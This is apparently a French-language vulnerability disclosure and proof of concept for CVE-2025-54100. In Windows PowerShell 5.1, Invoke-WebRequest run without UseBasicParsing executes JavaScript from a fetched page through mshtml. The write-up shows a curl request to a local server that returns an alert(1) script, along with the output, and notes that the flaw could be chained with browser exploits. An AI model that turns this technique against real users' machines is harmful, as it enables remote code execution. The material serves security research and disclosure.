
Preuve de concept pour CVE-2025-54100 : XSS dans Invoke-WebRequest de PowerShell via mshtml.HTMLDocumentClass, permettant l'exécution de code à distance lors de l'utilisation de curl avec du JavaScript malveillant.
La commande curl de PowerShell utilise Invoke-WebRequest en arrière-plan.
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
En consultant la documentation du paramètre UseBasicParsing,
Ce paramètre est obsolète. Depuis PowerShell 6.0.0, toutes les requêtes Web utilisent uniquement l'analyse de base. Ce paramètre est inclus uniquement pour la compatibilité ascendante et toute utilisation n'a aucun effet sur le fonctionnement de l'applet de commande.
Le problème réside dans UseBasicParsing de l'applet de commande Invoke-WebRequest de PowerShell. UseBasicParsing utilise une analyse de base, il n'évalue aucun code JavaScript. Il se contente de lire le texte et de l'analyser.
Si ce paramètre n'est pas fourni, Invoke-WebRequest lance Internet Explorer en arrière-plan et tente d'analyser le code HTML en l'évaluant réellement, à l'aide de mshtml.HTMLDocumentClass. Effectuer une requête curl vers un site web hébergeant un code JavaScript entraîne l'exécution de code dans le navigateur du client. dans notre cas, le terminal Windows.
La documentation de mshtml.HTMLDocumentClass se trouve ci-dessous.
En examinant le cycle de vie du premier document ci-dessus, on peut voir que,
Windows PowerShell 5.1 Août 2016 Publié dans Windows 10 Anniversary Update et Windows Server 2016, WMF 5.1 PowerShell 6.0 20 janvier 2018 13 février 2019 Construit sur .NET Core 2.0 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)
Après quelques investigations, nous avons remarqué que les dernières versions de Windows 11, Server 22 et 25 sont livrées avec une ancienne version de PowerShell (5.1 par défaut) qui est vulnérable aux attaques XSS.
Nouvelle installation de Windows Server 22,

L'attaque est très simple ;
curl dessus et vous verrez l'exécution.
PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
Vous pouvez faire preuve de créativité et effectuer des actions comme open("about:blank").

Il faut également considérer que cela pourrait être utilisé dans des chaînes plus importantes, comme des exploits de navigateur, pour avoir une exécution fiable ou forcer le rendu du navigateur.
Gravité : Important, Impact sur la sécurité : Exécution de code à distance et une prime de 5 000 $ a été attribuée.